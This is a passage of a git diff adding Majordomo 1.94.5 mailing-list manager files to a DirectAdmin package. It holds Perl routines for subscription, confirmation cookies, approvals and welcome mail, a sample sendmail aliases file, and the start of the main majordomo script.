if specified) are on. + + who $list4help + Find out who is on the named . + + info $list4help + Retrieve the general introductory information for the named . + + intro $list4help + Retrieve the introductory message sent to new users. Non-subscribers + may not be able to retrieve this. + + lists + Show the lists served by this Majordomo server. + + help + Retrieve this message. + + end + Stop processing commands (useful if your mailer adds a signature). + +Commands should be sent in the body of an email message to +"$whoami"$listrequest Multiple commands can be processed provided +each occurs on a separate line. + +Commands in the "Subject:" line are NOT processed. + +If you have any questions or problems, please contact +"$whoami_owner". + +EOM +#' + print STDERR "$0: do_help(): finished writing help text, now logging.\n" if $DEBUG; + + &log("help"); + + print STDERR "$0: do_help(): done\n" if $DEBUG; +} + +sub send_confirm { + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local($cookie) = &gen_cookie($cmd, $list, $subscriber); + local(*AUTH); + + &sendmail(AUTH, $subscriber, "Confirmation for $cmd $list"); + + print AUTH <<"EOM"; +Someone (possibly you) has requested that your email address be added +to or deleted from the mailing list "$list\@$whereami". + +If you really want this action to be taken, please send the following +commands (exactly as shown) back to "$whoami": + + auth $cookie $cmd $list $subscriber + +If you do not want this action to be taken, simply ignore this message +and the request will be disregarded. + +If your mailer will not allow you to send the entire command as a single +line, you may split it using backslashes, like so: + + auth $cookie $cmd $list \\ + $subscriber + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + +Thanks! + +$whoami +EOM + close(AUTH); + + print REPLY <<"EOM"; +**** Your request to $whoami: +**** +**** $cmd $list $subscriber +**** +**** must be authenticated. To accomplish this, another request must be +**** sent in with an authorization key, which has been sent to: +**** $subscriber +**** +**** If the message is not received, there is generally a problem with +**** the address. Before reporting this as a problem, please note the +**** following: +**** +**** You only need to give an address to the subscribe command if you want +**** to receive list mail at a different address from where you sent the +**** command. Otherwise you can simply omit it. +**** +**** If you do give an address to the subscribe command, it must be a legal +**** address. It should not consist solely of your name. The address must +**** point to a machine that is reachable from the list server. +**** +**** If you have any questions about the policy of the list owner, please +**** contact "$list-approval\@$whereami". +**** +**** Thanks! +**** +**** $whoami +EOM + &log("send_confirm $cmd $list $subscriber"); +} + + + +# Send a request for subscribe or unsubscribe approval to a list owner +# Usage: &request_approval($cmd, $list, @subscriber) +sub request_approval { + # Get the arguments + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local(*APPROVE); + + # open a sendmail process for the approval request + &sendmail(APPROVE, "$list-approval\@$whereami", "APPROVE $list"); + + # Generate the approval request + print APPROVE <<"EOM"; +$reply_to requests that you approve the following: + + $cmd $list $subscriber + +If you approve, please send a message such as the following back to +$whoami (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD \\ + $cmd $list \\ + $subscriber + +[The above is broken into multiple lines to avoid mail reader linewrap +problems. Commands can be on one line, or multi-line with '\\' escapes.] + +If you disapprove, do nothing. + + +Thanks! + +$whoami +EOM + # close (and thereby send) the approval request + close(APPROVE); + + # tell the requestor that their request has been forwarded for approval. + print REPLY <<"EOM"; +Your request to $whoami: + + $cmd $list $subscriber + +has been forwarded to the owner of the "$list" list for approval. +This could be for any of several reasons: + + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + +When the list owner approves your request, you will be notified. + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + + +Thanks! + +$whoami +EOM + + &log("request $cmd $list $subscriber"); +} + +# We are done processing the request; append help if needed, send the reply +# to the requestor, clean up, and exit + +sub done { + # append help, if needed. + if ($count == 0) { + print REPLY "**** No valid commands found.\n"; + print REPLY "**** Commands must be in message BODY, not in HEADER.\n\n"; + } + if ($needs_help || ($count == 0)) { + print REPLY "**** Help for $whoami:\n\n"; + &do_help(); + } + + # close (and thereby send) the reply + close(REPLY); + + # good bye! + exit(0); +} + +# Welcome a new subscriber to the list, and tell the list owner of his/her +# existance. +sub welcome { + local($list) = shift; + local($subscriber) = join(" ", @_); + + # welcome/intro message controlled by 'welcome=yes/no' + if ( &cf_ck_bool($list,"welcome")) { + + # Set up the sendmail process to welcome the new subscriber + &set_mail_sender($config_opts{$list,"sender"} . "\@" . $whereami); + &sendmail(MSG, $subscriber, "Welcome to $list"); + &set_mail_sender($whoami_owner); + + print MSG "Welcome to the $list mailing list!\n\n"; + + print MSG "Please save this message for future reference. Thank you.\n"; + + if ( $majordomo_request ) { + print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +send the following command in email to +\<${clean_list}-request\@$whereami\>: + + unsubscribe + +Or you can send mail to \<$whoami\> with the following +EOM + +} else { +print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +you can send mail to \<$whoami\> with the following +EOM +} + +print MSG <<"EOM"; +command in the body of your email message: + + unsubscribe $list + +or from another account, besides $subscriber: + + unsubscribe $list $subscriber + +EOM +print MSG <<"EOM"; +If you ever need to get in contact with the owner of the list, +(if you have trouble unsubscribing, or have questions about the +list itself) send email to \ . +This is the general rule for most mailing lists when you need +to contact a human. + +EOM + + # send them the info for the list, if it's available + # the .intro file has information for subscribers only + if (&lopen(INFO, "", "$listdir/$list.intro")) { + while () { + print MSG $_; + } + &lclose(INFO); + } elsif (&lopen(INFO, "", "$listdir/$list.info")) { + print MSG <<"EOM"; + Here's the general information for the list you've subscribed to, + in case you don't already have it: + +EOM +#'; + while () { + print MSG $_; + } + &lclose(INFO); + } else { + print MSG "#### No info available for $list.\n"; + } + + # close (and thereby send) the welcome message to the subscriber + close(MSG); + + } + + # tell the list owner of the new subscriber (optional: announcements=yes/no) + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list $subscriber"); + print NOTICE "$subscriber has been added to $list.\n"; + print NOTICE "No action is required on your part.\n"; + close(NOTICE); + } +} + +# complain about a user screwup, and note that the user needs help appended +# to the reply +sub squawk { + print REPLY "**** @_\n"; + $needs_help++; +} + +# check to see if the subscriber is a LISTSERV-style "real name", not an +# address. If it contains white space and no routing characters ([!@%:]), +# then it's probably not an address. If it's valid, generate the proper +# request for approval; if it's not, bitch to the user. + +# if a fourth parameter is added to the check_and_request call, only +# check the subscribe request for a valid address. This allows +# the same routine to be used for checking when handling an auto list. + +sub check_and_request { + local($request,$clean_list, $subscriber, $do_request) = @_; + + # check to see if the subscriber looks like a LISTSERV-style + # "real name", not an address; if so, send a message to the + # requestor, and if not, ask the list owner for approval + local($addr) = &valid_addr($subscriber); + if ($addr =~ /\s/ && $addr !~ /[!%\@:]/) { + # yup, looks like a LISTSERV-style request to me. + &squawk("$request: LISTSERV-style request failed"); + print REPLY <<"EOM"; +This looks like a BITNET LISTSERV style '$request' request, because +the part after the list name doesn't look like an email address; it looks +like a person's name. Majordomo is not LISTSERV. In a Majordomo '$request' +request, the part after the list name is optional, but if it's there, it +should be an email address, NOT a person's real name. +EOM + + return(0); + } else { + return(1) if defined($do_request); + &request_approval($request, $clean_list, $subscriber); + } +} + +sub gen_cookie { + local($combined) = join('/', $cookie_seed ? $cookie_seed : $homedir, @_); + local($cookie) = 0; + local($i, $carry); + + # Because of backslashing and all of the splitting on whitespace and + # joining that goes on, we need to ignore whitespace. + $combined =~ s/\s//g; + + for ($i = 0; $i < length($combined); $i++) { + $cookie ^= ord(substr($combined, $i)); + $carry = ($cookie >> 28) & 0xf; + $cookie <<= 4; + $cookie |= $carry; + } + return (sprintf("%08x", $cookie)); +} + + +# Extracts the list name from the argument list to the do_* functions +# or uses the default list name, depending on invocation options and +# available arguments. Returns the raw list name, the validated list +# name, and the remaining argument list. + +sub get_listname { + local($request, $required, @args) = @_; + local($raw_list, $clean_list); + + if (defined($deflist)) { # -l option specified + if (scalar(@args) <= $required) { # minimal arguments, use default list + if ( !( ($raw_list = $deflist) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + $raw_list = shift(@args) || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + elsif ( !( ($raw_list = shift(@args)) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + unshift(@args, $raw_list); # Not a list name, put it back. + $raw_list = $deflist || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + + else { + $raw_list = shift(@args); + $clean_list = &valid_list($listdir, $raw_list); + } + + return ($raw_list, $clean_list, @args); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.aliases b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.aliases new file mode 100644 index 0000000..c827b89 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.aliases @@ -0,0 +1,25 @@ +# +# The aliases file for majordomo. This works best if you tell sendmail about it +# in your sendmail.cf file (either /usr/lib/sendmail.cf or /etc/sendmail.cf). +# +# You need to be running a recent (8.6, at least) version of sendmail; one that +# groks multiple alias files. +# +# Look for a line that says "OA/usr/lib/aliases" or somesuch, and add a line below +# it, w/o the leading # sign, that looks like this: +# +# OA/usr/test/majordomo/majordomo.aliases +# +# After doing this, you should refreeze the sendmail cf via '/usr/lib/sendmail -bz' and +# restart sendmail. +# + +majordomo: "|/usr/test/majordomo-1.94.5/wrapper majordomo" +majordomo-owner: you +owner-majordomo: you + +test: "|/usr/test/majordomo-1.94.5/wrapper resend -l test test-list" +test-list: :include:/usr/test/majordomo-1.94.5/lists/test +owner-test: you +test-owner: you +test-request: you diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.orig b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.orig new file mode 100644 index 0000000..9fd9ac4 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.orig @@ -0,0 +1,1951 @@ +#!/bin/perl +# $Modified: Thu Jan 13 18:29:15 2000 by cwilson $ + +# majordomo: a person who speaks, makes arrangements, or takes charge +# for another. +# +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement for +# usage rights. +# +# $Source: /sources/cvsrepos/majordomo/majordomo,v $ +# $Revision: 1.95 $ +# $Date: 2000/01/13 17:29:31 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +# until we run suid... +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_majordomo';#'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +while ($ARGV[0]) { # parse for config file or default list + if ($ARGV[0] =~ /^-C$/i) { # sendmail v8 clobbers case + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } elsif ($ARGV[0] eq "-l") { + $deflist = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } else { + die "Unknown argument $ARGV[0]\n"; + } +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir") || die "chdir to $homedir failed, $!\n"; + +# If standard error is not attached to a terminal, redirect it to a file. +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/majordomo.debug"); +} + +print STDERR "$0: starting\n" if $DEBUG; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "ctime.pl"; # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking +require "config_parse.pl"; # functions to parse the config files + +print STDERR "$0: requires succeeded. Setting defaults.\n" if $DEBUG; + +# Here's where the fun begins... +# check to see if the cf file is valid +die("\$listdir not defined. Is majordomo.cf being included correctly?") + if !defined($listdir); + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + + +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +# where do we look for files, by default? +if (!defined($filedir)) { + $filedir = $listdir; +} +if (!defined($filedir_suffix)) { + $filedir_suffix = ".archive"; +} + +# what command do we use to generate an index, by default? +if (!defined($index_command)) { + $index_command = "/bin/ls -lRL"; +} + +# where are we for FTP, by default? (note: only set this if $ftpmail is set) +if (defined($ftpmail_address)) { + if (!defined($ftpmail_location)) { + $ftpmail_location = $whereami; + } +} + +print STDERR "$0: done with defaults, parsing mail header.\n" if $DEBUG; + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Now we try to figure out who to send the replies to. +# $reply_to also becomes the default target for subscribe/unsubscribe +$reply_to = &RetMailAddr(*hdrs); + +print STDERR "$0: setting log file.\n" if $DEBUG; + +# Set up the log file +&set_log($log, $whereami, "majordomo", $reply_to); + +# if somebody has set $reply_to to be our own input address, there's a problem. +if (&addr_match($reply_to, $whoami)) { + &abort( "$whoami punting to avoid mail loop.\n"); + exit 0; +} + +if (! &valid_addr($reply_to)) { + &abort( "$whoami: $reply_to is not a valid return address.\n"); + exit 2; +} + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); + exit 0; +} + +if ($return_subject && defined $hdrs{'subject'}) { + $sub_addin = ": " . substr($hdrs{'subject'}, 0, 40); + } else { + $sub_addin = ''; + } + +print STDERR "$0: some quick sanity checks on permissions.\n" if $DEBUG; + +# do some sanity checking on permissions +# This bails out via abort if needed. +# +&check_permissions; + +print STDERR "$0: opening sendmail process.\n" if $DEBUG; + +# Open the sendmail process to send the results back to the requestor +&sendmail(REPLY, $reply_to, "Majordomo results$sub_addin"); + +select((select(REPLY), $| = 1)[0]); + +print STDERR "$0: processing commands in message body.\n" if $DEBUG; + +# Process the rest of the message as commands +while (<>) { + $approved = 0; # all requests start as un-approved + $quietnonmember = 0; # show non-member on unsubscribe + while ( /\\\s*$/ ) { # if the last non-whitespace + &chop_nl($_); # character is '\', chop the nl + s/\\\s*$/ /; # replace \ with space char + $_ .= scalar(<>); # append the next line + } + print REPLY ">>>> $_"; # echo the line we are processing + $_ = &chop_nl($_); # strip any trailing newline + s/^\s*#.*//; # strip comments + s/^\s+//; # strip leading whitespace + s/\s+$//; # strip trailing whitespace + s/\\ /\001/g; # protected escaped whitepace + if (/^begin\s+\d+\s+\S+$/) { # bail on MSMail uuencode attachments + print REPLY "ATTACHMENT DETECTED; COMMAND PROCESSING TERMINATED.\n"; + last; + } + + @parts = split(" "); # split into component parts + grep(s/\001/ /, @parts); # replace protected whitespace with + # whitespace + $cmd = shift(@parts); # isolate the command + $cmd =~ tr/A-Z/a-z/; # downcase the command + if ($cmd eq "") { next; } # skip blank lines + # figure out what to do and do it + # the "do_*" routines implement specific Majordomo commands. + # they are all passed the same arguments: @parts. + $count++; # assume it's a valid command, so count it. + if ($cmd eq "end") { print REPLY "END OF COMMANDS\n"; last; } + elsif ($cmd =~ /^-/ && + (!defined($hdrs{'content-type'}) || + $hdrs{'content-type'} !~ /multipart/i)) + { + # treat lines beginning with "-" as END only if this is NOT a MIME + # multipart msg. MIME messages should have "Content-Type:" + # headers, and multipart messages should have the string + # "multipart" somewhere in that header. If we just look for + # Content-Type: we trap messages with Content-Type: text/plain, + # which is pretty common these days. + print REPLY "END OF COMMANDS\n"; + last; + } + elsif ($cmd eq "subscribe") { &do_subscribe(@parts); } + elsif ($cmd eq "unsubscribe") { &do_unsubscribe(@parts); } + elsif ($cmd eq "signoff") { &do_unsubscribe(@parts); } + elsif ($cmd eq "cancel") { &do_unsubscribe(@parts); } + elsif ($cmd eq "approve") { &do_approve(@parts); } + elsif ($cmd eq "passwd") { &do_passwd(@parts); } + elsif ($cmd eq "which") { &do_which(@parts); } + elsif ($cmd eq "who") { &do_who(@parts); } + elsif ($cmd eq "info") { &do_info(@parts); } + elsif ($cmd eq "newinfo") { &do_newinfo(@parts); } + elsif ($cmd eq "intro") { &do_intro(@parts); } + elsif ($cmd eq "newintro") { &do_newintro(@parts); } + elsif ($cmd eq "config") { &do_config(@parts); } + elsif ($cmd eq "newconfig") { &do_newconfig(@parts); } + elsif ($cmd eq "writeconfig") { &do_writeconfig(@parts); } + elsif ($cmd eq "mkdigest") { &do_mkdigest(@parts); } + elsif ($cmd eq "lists") { &do_lists(@parts); } + elsif ($cmd eq "help") { &do_help(@parts); } + elsif ($cmd eq "get") { &do_get(@parts); } + elsif ($cmd eq "index") { &do_index(@parts); } + elsif ($cmd eq "auth") { &do_auth(@parts); } + else { + &squawk("Command '$cmd' not recognized."); + $count--; # if we get to here, it wasn't really a command + } +} + +# we've processed all the commands; let's clean up and go home +&done(); + +# Everything from here on down is subroutine definitions + +sub do_subscribe { + # figure out what list we are trying to subscribe to + # and check to see if the list is valid + local($sm) = "subscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to subscribe, and check that it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber, $clean_list)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + local($FLAGIT); + if ($clean_list ne "") { + # The list is valid + # parse its config file if needed + + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($sub_policy) = $config_opts{$clean_list,"subscribe_policy"}; + + # check to see if this is a list with a 'confirm' subscribe policy, + # and check the cookie if so. + # + if (! $approved + && (($sub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("subscribe", $clean_list, $subscriber); + return 0; + } + + + # Check to see if this request is approved, or if the list is an + # auto-approve list, or if the list is an open list and the + # subscriber is the person making the request + if ($approved + || ($sub_policy =~ /auto/i && + # I don't think this check is doing the right thing. Chan 95/10/19 + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + || (($sub_policy !~ /closed/ ) + && &addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) + ) { + # Either the request is approved, or the list is open and the + # subscriber is the requester, so check to see if they're + # already on the list, and if not, add them to the list. + # Lock and open the list first, even though &is_list_member() + # will reopen it read-only, to prevent a race condition + &lopen(LIST, ">>", "$listdir/$clean_list") + || &abort("Can't append to $listdir/$clean_list: $!"); + if (&is_list_member($subscriber, $listdir, $clean_list)) { + print REPLY "**** Address already subscribed to $clean_list\n"; + &log("DUPLICATE subscribe $clean_list $subscriber"); + } else { + if ( &cf_ck_bool($clean_list,"strip") ) { + print LIST &valid_addr($subscriber), "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } else { + print LIST $subscriber, "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } + if (defined $deflist) { + print REPLY "Succeeded (to list $deflist).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("subscribe $clean_list $subscriber"); + # Send the new subscriber a welcoming message, and + # a notice of the new subscriber to the list owner + if ( &cf_ck_bool($clean_list,"strip") ) { + local($clean_sub) = &valid_addr($subscriber); + &welcome($clean_list, $clean_sub); + } else { + &welcome($clean_list, $subscriber); + } + } + &lclose(LIST) || &abort("Error closing $listdir/$clean_list: $!"); + } else { + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_unsubscribe_all { + local(@parts) = @_; + local($list); + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = grep(!/[^-\w]/, readdir(RD_DIR)); # skip non-list files (*.info, etc.) + closedir(RD_DIR); + + $quietnonmember=1; + + foreach $list (sort @lists) { + print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n" + if $DEBUG; + &do_unsubscribe($list, @parts); + } +} + +sub do_unsubscribe { + if ($_[0] =~ /^\*$/) { + shift; + &do_unsubscribe_all(@_); + return 0; + } + local($match_count) = 0; + local($match_length); + # figure out what list we are trying to unsubscribe from + # and check to see if the list is valid + local($sm) = "unsubscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to unsubscribe, and check it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + print STDERR "do_unsubscribe: $subscriber from $clean_list\n" if $DEBUG; + + + if ($clean_list ne "") { + # The list is valid. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($unsub_policy) = $config_opts{$clean_list,"unsubscribe_policy"}; + + # Check to see if the subscriber really is subscribed to the list. + if (! &is_list_member($subscriber, $listdir, $clean_list)) { + unless ($quietnonmember) { + print REPLY <<"EOM"; +**** unsubscribe: '$subscriber' is not a member of list '$list'. +**** contact "$list-approval\@$whereami" if you need help. +EOM + } + return 0; + } + + print STDERR "do_unsubscribe: valid list, valid subscriber.\n" + if $DEBUG; + + # check to see if this is a list with a 'confirm' unsubscribe policy, + # and check the cookie if so and the subscriber is not the person + # making the request. + # + if (! $approved + && ! ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") + ? 2 : undef)))) + && (($unsub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("unsubscribe", $clean_list, $subscriber); + return 0; + } + + # Check to see if this request is approved, if the unsub policy is + # auto, or if the subscriber is the person making the request (even + # on a closed list, folks can unsubscribe themselves without the + # owner's approval). + if ($approved + || ($unsub_policy =~ /auto/i && + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + + || ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))))) { + + # Either the request is approved, or the subscriber is the + # requester, so drop them from the list + &lopen(LIST, "", "$listdir/$clean_list") || + &abort("Can't open $listdir/$clean_list: $!"); + (local($mode, $uid, $gid) = (stat(LIST))[2,4,5]) || + &abort("Can't stat listdir/$clean_list: $!"); + open(NEW, ">$listdir/$clean_list.new") || + &abort("Can't open $listdir/$clean_list.new: $!"); + chmod($mode, "$listdir/$clean_list.new") || + &abort("chmod($mode, \"$listdir/$clean_list.new\"): $!"); + chown($uid, $gid, "$listdir/$clean_list.new") || + &abort("chown($uid, $gid, \"$listdir/$clean_list.new\"): $!"); + while () { + if (! &addr_match($subscriber, $_, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + print NEW $_ || + &abort("Error writing $listdir/$clean_list.new: $!"); + } else { + $match_count++; + $match_length = length; + if ($match_count != 1) { + &squawk("$sm: '$subscriber' matches multiple list members."); + last; + } + } + } + close(NEW) || &abort("Error closing $listdir/$clean_list.new: $!"); + if ($match_count == 1) { + if ((-s "$listdir/$clean_list.new") + $match_length != + (-s "$listdir/$clean_list")) { + &abort("Unsubscribe failed: $listdir/$clean_list.new is wrong length!"); + } + # we deleted exactly 1 name, so now we shuffle the files + link("$listdir/$clean_list", "$listdir/$clean_list.old") || + &abort("link(\"$listdir/$clean_list\", \"$listdir/$clean_list.old\"): $!"); + rename("$listdir/$clean_list.new", "$listdir/$clean_list") || + &abort("rename(\"$listdir/$clean_list.new\", \"$listdir/$clean_list\"): $!"); + unlink("$listdir/$clean_list.old"); + if (defined $deflist) { + print REPLY "Succeeded (from list $deflist).\n"; + } + elsif ($quietnonmember) { + print REPLY "Succeeded (from list $clean_list).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("unsubscribe $clean_list $subscriber"); + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(BYE, "$clean_list-approval\@$whereami", + "UNSUBSCRIBE $clean_list $subscriber"); + print BYE "$subscriber has unsubscribed from $clean_list.\n"; + print BYE "No action is required on your part.\n"; + close(BYE); + } + } + elsif ($match_count == 0) { + print REPLY "**** No matches found for '$subscriber'\n"; + } + else { + print REPLY "**** FAILED.\n"; + } + unlink("$listdir/$clean_list.new"); + &lclose(LIST); + } else { + print STDERR "do_unsubscribe: authorization failed, calling check_and_request.\n" if $DEBUG; + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_auth { + # Check to see we've got all the arguments; the address is allowed to + # contain spaces, so since our argument list was split on spaces we + # have to join them back together. + local($auth_info, $cmd, $list, @sub) = @_; + if ( !length($auth_info) + || ($cmd ne 'subscribe' + && $cmd ne 'unsubscribe') # can only authorize [un]subscribes at the moment + ) { + &squawk("auth: needs key"); + return 0; + } + $sub = join(' ',@sub); + if ( $cmd eq "subscribe" ) { + &do_subscribe($list, $sub); + } + elsif ( $cmd eq "unsubscribe" ) { + &do_unsubscribe($list, $sub); + } + + +} + +sub do_approve { + # Check to see we've got all the arguments + local($sm) = "approve"; + local($passwd, $cmd); + ($passwd = shift) || &squawk("$sm: needs passwd"); + ($cmd = shift) || &squawk("$sm: which command?"); + $cmd =~ tr/A-Z/a-z/; # downcase the command + # Check to see if the list is valid or use default list. + # and check to see if we've got a valid list + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + if ($clean_list ne "") { + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + # The list is valid; now check to see if the password is + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so set "approved" and do the request + $approved = 1; + if ($cmd eq "subscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD subscribe $clean_list $subscriber"); + &do_subscribe($clean_list, $subscriber); + } elsif ($cmd eq "unsubscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD unsubscribe $clean_list $subscriber"); + &do_unsubscribe($clean_list, $subscriber); + } elsif ($cmd eq "get" + || $cmd eq "index" + || $cmd eq "info" + || $cmd eq "intro" + || $cmd eq "who" + || $cmd eq "which") { + &log("approve PASSWORD $cmd $clean_list " . join(" ", @args)); + $sub = "do_$cmd"; + &$sub($clean_list, @args); + } else { + # you can only approve the above + &squawk("$sm: invalid command '$cmd'"); + } + } else { + &squawk("$sm: invalid list or password."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_passwd { + # check to see that we've got all the arguments + # and check to see if we've got a valid list + local($sm) = "passwd"; + local($list, $clean_list, $passwd, $new_passwd) = &get_listname($sm, 2, @_); + &squawk("$sm: need old password") unless $passwd; + &squawk("$sm: need new password") unless $new_passwd; + + if ($clean_list eq "") { + &squawk("$sm: invalid list '$list'"); + return; + } + # We've got a valid list; now see if the old password is valid + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The old password is correct, so make sure the new one isn't null + if ($new_passwd eq "") { + &squawk("$sm: null 'new_passwd'."); + return; + } + # The new password is valid, too, so write it. + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.passwd"))[2,4,5]; + $mode = (0660) if !$mode; + if (&lopen(PASSWD, ">", "$listdir/$clean_list.passwd")) { + print PASSWD $new_passwd, "\n"; + &lclose(PASSWD); + # set the file mode appropriately + chmod($mode, "$listdir/$clean_list.passwd"); + chown($uid, $gid, "$listdir/$clean_list.passwd") if defined($uid); + print REPLY "Password changed.\n"; + } else { + &abort("Can't open $listdir/$clean_list.passwd: $!"); + } + &log("passwd $clean_list OLD NEW"); + } else { + print REPLY "**** Sorry; old password incorrect.\n"; + &log("FAILED passwd $clean_list OLD NEW"); + } +} + +sub do_which { + local($subscriber) = join(" ", @_) || &valid_addr($reply_to); + local($count, $per_list_hits) = 0; + # Tell the requestor which lists they are on by reading through all + # the lists, comparing their address to each address from each list + print REPLY "The string '$subscriber' appears in the following\n"; + print REPLY "entries in lists served by $whoami:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + $list = $_; + + # get configuration info + &get_config($listdir, $_) if !&cf_ck_bool($_, '', 1); + + # access check + # + next if ! &access_check("which", $reply_to, $listdir, $list); + + open(LIST, "$listdir/$list") || + &abort("Can't open list $listdir/$list"); + while () { + + if (! $approved + && $max_which_hits + && $max_which_hits < $per_list_hits) { + print REPLY "Maximum number of hits ($max_which_hits) exceeded\n"; + last; + } + + $_ = &chop_nl($_); + if (&addr_match($_, $subscriber, 1)) { + if ($count == 0) { + printf REPLY "%-23s %s\n", "List", "Address"; + printf REPLY "%-23s %s\n", "====", "======="; + } + printf REPLY "%-23s %s\n", $list, $_; + $count++; + $per_list_hits++; + } + } + close(LIST); + } + if ($count == 0) { + print REPLY "**** No matches found\n"; + } + print REPLY "\n"; + &log("which $subscriber"); + return 1; +} + +sub do_who { + # Make sure we've got the right arguments + # and check to see if we've got a valid list + local($sm) = "who"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + local($counter) = 0; + + # Check to see that the list is valid + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + # get configuration info + 